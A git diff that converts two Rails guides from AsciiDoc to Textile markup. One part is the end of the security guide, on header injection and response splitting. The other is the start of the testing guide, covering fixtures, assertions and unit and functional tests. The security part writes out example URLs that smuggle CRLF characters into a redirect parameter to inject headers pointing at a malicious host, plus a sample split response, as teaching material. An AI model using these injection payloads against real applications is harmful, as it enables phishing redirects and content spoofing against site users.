-HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. [,#fffcdb]#Remember to escape these header fields, too.# For example when you display the user agent in an administration area.
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
 
-Besides that, it is [,#fffcdb]#important to know what you are doing when building response headers partly based on user input.# For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
 
-..........
+<ruby>
 redirect_to params[:referer]
-..........
+</ruby>
 
 What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
 
-..........
+<plain>
 http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-..........
+</plain>
 
 And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
 
-..........
+<plain>
 http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
 http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-..........
+</plain>
 
 Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
 
-..........
+<plain>
 HTTP/1.1 302 Moved Temporarily
 (...)
 Location: http://www.malicious.tld
-..........
+</plain>
 
-So [,#fffcdb]#attack vectors for Header Injection are based on the injection of CRLF characters in a header field.# And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. [,#fffcdb]#Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.#
+So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
+
+h5. Response Splitting
 
-==== Response Splitting
 If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
 
-..........
+<plain>
 HTTP/1.1 302 Found [First standard 302 response]
 Date: Tue, 12 Apr 2005 22:09:07 GMT
 Location:
Content-Type: text/html
@@ -957,28 +960,27 @@ HTTP/1.1 200 OK [Second New response created by attacker begins]
 Content-Type: text/html
 
 
-<html><font color=red>hey</font></html> [Arbitary malicious input is
+&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
 Keep-Alive: timeout=15, max=100         shown as the redirected page]
 Connection: Keep-Alive
 Transfer-Encoding: chunked
 Content-Type: text/html
-..........
+</plain>
 
-Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. [,#fffcdb]#In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.#
+Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
 
 
-== Additional resources
+h3. Additional Resources
 
 The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
 
-- The Ruby on Rails security project posts security news regularly: http://www.rorsecurity.info[http://www.rorsecurity.info]
-- Subscribe to the Rails security http://groups.google.com/group/rubyonrails-security[mailing list]
-- http://secunia.com/[Keep up to date on the other application layers] (they have a weekly newsletter, too)
-- A http://ha.ckers.org/blog/[good security blog] including the http://ha.ckers.org/xss.html[Cross-Site scripting Cheat Sheet]
-- Another http://www.0x000000.com/[good security blog] with some Cheat Sheets, too
+* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info
+* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
+* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
+* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7
 
 * November 1, 2008: First approved version by Heiko Webers
diff --git a/vendor/rails/railties/doc/guides/source/testing_rails_applications.txt b/vendor/rails/railties/guides/source/testing.textile
similarity index 58%
rename from vendor/rails/railties/doc/guides/source/testing_rails_applications.txt
rename to vendor/rails/railties/guides/source/testing.textile
index 6cced2fd..12fc836e 100644
--- a/vendor/rails/railties/doc/guides/source/testing_rails_applications.txt
+++ b/vendor/rails/railties/guides/source/testing.textile
@@ -1,5 +1,4 @@
-A Guide to Testing Rails Applications
-=====================================
+h2. A Guide to Testing Rails Applications
 
 This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:
 
@@ -9,25 +8,27 @@ This guide covers built-in mechanisms offered by Rails to test your application.
 
 This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.
 
-== Why Write Tests for your Rails Applications? ==
+endprologue.
 
- * Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
- * By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
- * Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+h3. Why Write Tests for your Rails Applications?
 
-== Introduction to Testing ==
+* Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
+* By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+* Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+
+h3. Introduction to Testing
 
 Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
 
-=== The 3 Environments ===
+h4. The Three Environments
 
 Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.
 
 One place you'll find this distinction is in the +config/database.yml+ file. This YAML configuration file has 3 different sections defining 3 unique database setups:
 
- * production
- * development
- * test
+* production
+* development
+* test
 
 This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.
 
@@ -35,37 +36,35 @@ For example, suppose you need to test your new +delete_this_user_and_every_every
 
 When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running +rake db:test:prepare+.
 
-=== Rails Sets up for Testing from the Word Go ===
+h4. Rails Sets up for Testing from the Word Go
 
 Rails creates a +test+ folder for you as soon as you create a Rails project using +rails _application_name_+. If you list the contents of this folder then you shall see:
 
-[source,shell]
-------------------------------------------------------
+<shell>
 $ ls -F test/
 
 fixtures/       functional/     integration/    test_helper.rb  unit/
-------------------------------------------------------
+</shell>
 
 The +unit+ folder is meant to hold tests for your models, the +functional+ folder is meant to hold tests for your controllers, and the +integration+ folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the +fixtures+ folder. The +test_helper.rb+ file holds the default configuration for your tests.
 
-=== The Low-Down on Fixtures ===
+h4. The Low-Down on Fixtures
 
 For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
 
-==== What Are Fixtures? ====
+h5. What are Fixtures?
 
 _Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: *YAML* or *CSV*. In this guide we will use *YAML* which is the preferred format.
 
 You'll find fixtures under your +test/fixtures+ directory. When you run +script/generate model+ to create a new model, fixture stubs will be automatically created and placed in this directory.
 
-==== YAML ====
+h5. YAML
 
 YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+).
 
 Here's a sample YAML fixture file:
 
-[source,ruby]
----------------------------------------------
+<yaml>
 # low & behold!  I am a YAML comment!
 david:
  name: David Heinemeier Hansson
@@ -76,16 +75,15 @@ steve:
  name: Steve Ross Kellock
  birthday: 1974-09-27
  profession: guy with keyboard
----------------------------------------------
+</yaml>
 
 Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
 
-==== ERb'in It Up ====
+h5. ERb'in It Up
 
 ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.
 
-[source, ruby]
---------------------------------------------------------------
+<erb>
 <% earth_size = 20 -%>
 mercury:
   size: <%= earth_size / 50 %>
@@ -98,72 +96,68 @@ venus:
 mars:
   size: <%= earth_size - 69 %>
   brightest_on: <%= 13.days.from_now.to_s(:db) %>
---------------------------------------------------------------
+</erb>
 
 Anything encased within the
 
-[source, ruby]
-------------------------
+<erb>
 <% %>
-------------------------
+</erb>
 
 tag is considered Ruby code. When this fixture is loaded, the +size+ attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The +brightest_on+ attribute will also be evaluated and formatted by Rails to be compatible with the database.
 
-==== Fixtures in Action ====
+h5. Fixtures in Action
 
 Rails by default automatically loads all fixtures from the 'test/fixtures' folder for your unit and functional test. Loading involves three steps:
 
- * Remove any existing data from the table corresponding to the fixture
- * Load the fixture data into the table
- * Dump the fixture data into a variable in case you want to access it directly
+* Remove any existing data from the table corresponding to the fixture
+* Load the fixture data into the table
+* Dump the fixture data into a variable in case you want to access it directly
 
-==== Hashes with Special Powers ====
+h5. Hashes with Special Powers
 
 Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:
 
-[source, ruby]
---------------------------------------------------------------
+<ruby>
 # this will return the Hash for the fixture named david
 users(:david)
 
 # this will return the property for david called id
 users(:david).id
---------------------------------------------------------------
+</ruby>
 
 Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.
 
-[source, ruby]
---------------------------------------------------------------
+<ruby>
 # using the find method, we grab the "real" david as a User
 david = users(:david).find
 
 # and now we have access to methods only available to a User class
 email(david.girlfriend.email, david.location_tonight)
---------------------------------------------------------------
+</ruby>
 
-== Unit Testing your Models ==
+h3. Unit Testing your Models
 
 In Rails, unit tests are what you write to test your models.
 
-For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.
+For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.
 
-NOTE: For more information on Rails _scaffolding_, refer to link:../getting_started_with_rails.html[Getting Started with Rails]
+NOTE: For more information on Rails _scaffolding_, refer to "Getting Started with Rails":getting_started.html
 
 When you use +script/generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder:
 
--------------------------------------------------------
+<pre>
 $ script/generate scaffold post title:string body:text
 ...
 create  app/models/post.rb
 create  test/unit/post_test.rb
 create  test/fixtures/posts.yml
 ...
--------------------------------------------------------
+</pre>
 
 The default test stub in +test/unit/post_test.rb+ looks like this:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 require 'test_helper'
 
 class PostTest < ActiveSupport::TestCase
@@ -172,83 +166,73 @@ class PostTest < ActiveSupport::TestCase
     assert true
   end
 end
---------------------------------------------------
+</ruby>
 
 A line by line examination of this file will help get you oriented to Rails testing code and terminology.
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 require 'test_helper'
---------------------------------------------------
+</ruby>
 
-As you know by now that `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+As you know by now that +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 class PostTest < ActiveSupport::TestCase
---------------------------------------------------
+</ruby>
 
 The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide.
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 def test_truth
---------------------------------------------------
+</ruby>
 
-Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run. 
+Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 assert true
---------------------------------------------------
+</ruby>
 
 This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
 
-* is this value = that value? 
-* is this object nil? 
-* does this line of code throw an exception? 
-* is the user's password greater than 5 characters? 
+* is this value = that value?
+* is this object nil?
+* does this line of code throw an exception?
+* is the user's password greater than 5 characters?
 
 Every test contains one or more assertions. Only when all the assertions are successful the test passes.
 
-=== Preparing you Application for Testing ===
+h4. Preparing your Application for Testing
 
 Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ rake db:migrate
 ...
 $ rake db:test:load
--------------------------------------------------------
+</shell>
 
 Above +rake db:migrate+ runs any pending migrations on the _developemnt_ environment and updates +db/schema.rb+. +rake db:test:load+ recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run +db:test:prepare+ as it first checks for pending migrations and warns you appropriately.
 
 NOTE: +db:test:prepare+ will fail with an error if db/schema.rb doesn't exists.
 
-==== Rake Tasks for Preparing you Application for Testing ==
+h5. Rake Tasks for Preparing your Application for Testing
 
-[grid="all"]
---------------------------------`----------------------------------------------------
-Tasks                           Description
-------------------------------------------------------------------------------------
-+rake db:test:clone+            Recreate the test database from the current environment's database schema
-+rake db:test:clone_structure+  Recreate the test databases from the development structure
-+rake db:test:load+             Recreate the test database from the current +schema.rb+
-+rake db:test:prepare+          Check for pending migrations and load the test schema
-+rake db:test:purge+            Empty the test database.
-------------------------------------------------------------------------------------
+|_.Tasks                         |_.Description|
+|+rake db:test:clone+            |Recreate the test database from the current environment's database schema|
+|+rake db:test:clone_structure+  |Recreate the test databases from the development structure|
+|+rake db:test:load+             |Recreate the test database from the current +schema.rb+|
+|+rake db:test:prepare+          |Check for pending migrations and load the test schema|
+|+rake db:test:purge+            |Empty the test database.|
 
 TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+
 
-=== Running Tests ===
+h4. Running Tests
 
 Running a test is as simple as invoking the file containing the test cases through Ruby:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ cd test
-$ ruby unit/post_test.rb 
+$ ruby unit/post_test.rb
 
 Loaded suite unit/post_test
 Started
@@ -256,13 +240,13 @@ Started
 Finished in 0.023513 seconds.
 
 1 tests, 1 assertions, 0 failures, 0 errors
--------------------------------------------------------
+</shell>
 
 This will run all the test methods from the test case.
 
 You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.
 
--------------------------------------------------------
+<pre>
 $ ruby unit/post_test.rb -n test_truth
 
 Loaded suite unit/post_test
@@ -271,23 +255,22 @@ Started
 Finished in 0.023513 seconds.
 
 1 tests, 1 assertions, 0 failures, 0 errors
--------------------------------------------------------
+</pre>
 
-The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary. 
+The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
 
 To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 def test_should_not_save_post_without_title
   post = Post.new
   assert !post.save
 end
---------------------------------------------------
+</ruby>
 
 Let us run this newly added test.
 
--------------------------------------------------------
+<pre>
 $ ruby unit/post_test.rb -n test_should_not_save_post_without_title
 Loaded suite unit/post_test
 Started
@@ -302,21 +285,20 @@ test_should_not_save_post_without_title(PostTest)
 <false> is not true.
 
 1 tests, 1 assertions, 1 failures, 0 errors
--------------------------------------------------------
+</pre>
 
 In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 def test_should_not_save_post_without_title
   post = Post.new
   assert !post.save, "Saved the post without a title"
 end
---------------------------------------------------
+</ruby>
 
 Running this test shows the friendlier assertion message:
 
--------------------------------------------------------
+<pre>
 $ ruby unit/post_test.rb -n test_should_not_save_post_without_title
 Loaded suite unit/post_test
 Started
@@ -332,20 +314,19 @@ Saved the post without a title.
 <false> is not true.
 
 1 tests, 1 assertions, 1 failures, 0 errors
--------------------------------------------------------
+</pre>
 
 Now to get this test to pass we can add a model level validation for the _title_ field.
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 class Post < ActiveRecord::Base
   validates_presence_of :title
 end
---------------------------------------------------
+</ruby>
 
 Now the test should pass. Let us verify by running the test again:
 
--------------------------------------------------------
+<pre>
 $ ruby unit/post_test.rb -n test_should_not_save_post_without_title
 Loaded suite unit/post_test
 Started
@@ -353,26 +334,25 @@ Started
 Finished in 0.193608 seconds.
 
 1 tests, 1 assertions, 0 failures, 0 errors
--------------------------------------------------------
+</pre>
 
-Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD). 
+Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
 
-TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with link:http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html[15 TDD steps to create a Rails application].
+TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html.
 
 To see how an error gets reported, here's a test containing an error:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 def test_should_report_error
   # some_undefined_variable is not defined elsewhere in the test case
   some_undefined_variable
   assert true
 end
---------------------------------------------------
+</ruby>
 
 Now you can see even more output in the console from running the tests:
 
--------------------------------------------------------
+<pre>
 $ ruby unit/post_test.rb -n test_should_report_error
 Loaded suite unit/post_test
 Started
@@ -388,127 +368,115 @@ NameError: undefined local variable or method `some_undefined_variable' for #<Po
     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
 
 1 tests, 0 assertions, 0 failures, 1 errors
--------------------------------------------------------
+</pre>
 
-Notice the 'E' in the output. It denotes a test with error. 
+Notice the 'E' in the output. It denotes a test with error.
 
 NOTE: The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
 
-=== What to Include in Your Unit Tests ===
+h4. What to Include in Your Unit Tests
 
 Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
 
-=== Assertions Available ===
+h4. Assertions Available
 
 By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
 
 There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
 
-[grid="all"]
-`-----------------------------------------------------------------`------------------------------------------------------------------------
-Assertion                                                         Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+assert( boolean, [msg] )+                                        Ensures that the object/expression is true.
-+assert_equal( obj1, obj2, [msg] )+                               Ensures that +obj1 == obj2+ is true.
-+assert_not_equal( obj1, obj2, [msg] )+                           Ensures that +obj1 == obj2+ is false.
-+assert_same( obj1, obj2, [msg] )+			                      Ensures that +obj1.equal?(obj2)+ is true.
-+assert_not_same( obj1, obj2, [msg] )+                            Ensures that +obj1.equal?(obj2)+ is false.
-+assert_nil( obj, [msg] )+                                        Ensures that +obj.nil?+ is true.
-+assert_not_nil( obj, [msg] )+                                    Ensures that +obj.nil?+ is false.
-+assert_match( regexp, string, [msg] )+                           Ensures that a string matches the regular expression.
-+assert_no_match( regexp, string, [msg] )+                        Ensures that a string doesn't matches the regular expression.
-+assert_in_delta( expecting, actual, delta, [msg] )+              Ensures that the numbers `expecting` and `actual` are within `delta` of each other.
-+assert_throws( symbol, [msg] ) { block }+                        Ensures that the given block throws the symbol.
-+assert_raises( exception1, exception2, ... ) { block }+          Ensures that the given block raises one of the given exceptions.
-+assert_nothing_raised( exception1, exception2, ... ) { block }+  Ensures that the given block doesn't raise one of the given exceptions.
-+assert_instance_of( class, obj, [msg] )+                         Ensures that +obj+ is of the +class+ type.
-+assert_kind_of( class, obj, [msg] )+                             Ensures that +obj+ is or descends from +class+.
-+assert_respond_to( obj, symbol, [msg] )+                         Ensures that +obj+ has a method called +symbol+.
-+assert_operator( obj1, operator, obj2, [msg] )+                  Ensures that +obj1.operator(obj2)+ is true.
-+assert_send( array, [msg] )+                                     Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?
-+flunk( [msg] )+                                                  Ensures failure. This is useful to explicitly mark a test that isn't finished yet.
-------------------------------------------------------------------------------------------------------------------------------------------
+|_.Assertion                                                       |_.Purpose|
+|+assert( boolean, [msg] )+                                        |Ensures that the object/expression is true.|
+|+assert_equal( obj1, obj2, [msg] )+                               |Ensures that +obj1 == obj2+ is true.|
+|+assert_not_equal( obj1, obj2, [msg] )+                           |Ensures that +obj1 == obj2+ is false.|
+|+assert_same( obj1, obj2, [msg] )+			                       |Ensures that +obj1.equal?(obj2)+ is true.|
+|+assert_not_same( obj1, obj2, [msg] )+                            |Ensures that +obj1.equal?(obj2)+ is false.|
+|+assert_nil( obj, [msg] )+                                        |Ensures that +obj.nil?+ is true.|
+|+assert_not_nil( obj, [msg] )+                                    |Ensures that +obj.nil?+ is false.|
+|+assert_match( regexp, string, [msg] )+                           |Ensures that a string matches the regular expression.|
+|+assert_no_match( regexp, string, [msg] )+                        |Ensures that a string doesn't matches the regular expression.|
+|+assert_in_delta( expecting, actual, delta, [msg] )+              |Ensures that the numbers +expecting+ and +actual+ are within +delta+ of each other.|
+|+assert_throws( symbol, [msg] ) { block }+                        |Ensures that the given block throws the symbol.|
+|+assert_raise( exception1, exception2, ... ) { block }+          |Ensures that the given block raises one of the given exceptions.|
+|+assert_nothing_raised( exception1, exception2, ... ) { block }+  |Ensures that the given block doesn't raise one of the given exceptions.|
+|+assert_instance_of( class, obj, [msg] )+                         |Ensures that +obj+ is of the +class+ type.|
+|+assert_kind_of( class, obj, [msg] )+                             |Ensures that +obj+ is or descends from +class+.|
+|+assert_respond_to( obj, symbol, [msg] )+                         |Ensures that +obj+ has a method called +symbol+.|
+|+assert_operator( obj1, operator, obj2, [msg] )+                  |Ensures that +obj1.operator(obj2)+ is true.|
+|+assert_send( array, [msg] )+                                     |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?|
+|+flunk( [msg] )+                                                  |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
 
 Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
 
 NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
 
-=== Rails Specific Assertions ===
+h4. Rails Specific Assertions
 
 Rails adds some custom assertions of its own to the +test/unit+ framework:
 
-[grid="all"]
-`----------------------------------------------------------------------------------`-------------------------------------------------------
-Assertion                                                                          Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+assert_valid(record)+                                                             Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
-+assert_difference(expressions, difference = 1, message = nil) {|| ...}+           Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
-+assert_no_difference(expressions, message = nil, &block)+                          Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
-+assert_recognizes(expected_options, path, extras={}, message=nil)+                 Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
-+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+   Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
-+assert_response(type, message = nil)+                                              Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200,  +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range
-+assert_redirected_to(options = {}, message=nil)+                                   Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.
-+assert_template(expected = nil, message=nil)+                                      Asserts that the request was rendered with the appropriate template file.
-------------------------------------------------------------------------------------------------------------------------------------------
+|_.Assertion                                                                        |_.Purpose|
+|+assert_valid(record)+                                                             |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.|
+|+assert_difference(expressions, difference = 1, message = nil) {...}+           |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
+|+assert_no_difference(expressions, message = nil, &block)+                         |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
+|+assert_recognizes(expected_options, path, extras={}, message=nil)+                |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
+|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+  |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
+|+assert_response(type, message = nil)+                                             |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200,  +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range|
+|+assert_redirected_to(options = {}, message=nil)+                                  |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.|
+|+assert_template(expected = nil, message=nil)+                                     |Asserts that the request was rendered with the appropriate template file.|
 
 You'll see the usage of some of these assertions in the next chapter.
 
-== Functional Tests for Your Controllers ==
+h3. Functional Tests for Your Controllers
 
-In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view. 
+In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
 
-=== What to include in your Functional Tests ===
+h4. What to Include in your Functional Tests
 
 You should test for things such as:
 
- * was the web request successful?
- * was the user redirected to the right page?
- * was the user successfully authenticated?
- * was the correct object stored in the response template?
- * was the appropriate message displayed to the user in the view
+* was the web request successful?
+* was the user redirected to the right page?
+* was the user successfully authenticated?
+* was the correct object stored in the response template?
+* was the appropriate message displayed to the user in the view
 
 Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory.
 
 Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 def test_should_get_index
   get :index
   assert_response :success
   assert_not_nil assigns(:posts)
 end
---------------------------------------------------
+</ruby>
 
-In the +test_should_get_index+ test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable. 
+In the +test_should_get_index+ test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
 
 The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments:
 
-* The action of the controller you are requesting. This can be in the form of a string or a symbol. 
+* The action of the controller you are requesting. This can be in the form of a string or a symbol.
 * An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
 * An optional hash of session variables to pass along with the request.
 * An optional hash of flash values.
 
 Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 get(:show, {'id' => "12"}, {'user_id' => 5})
---------------------------------------------------
+</ruby>
 
 Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
 
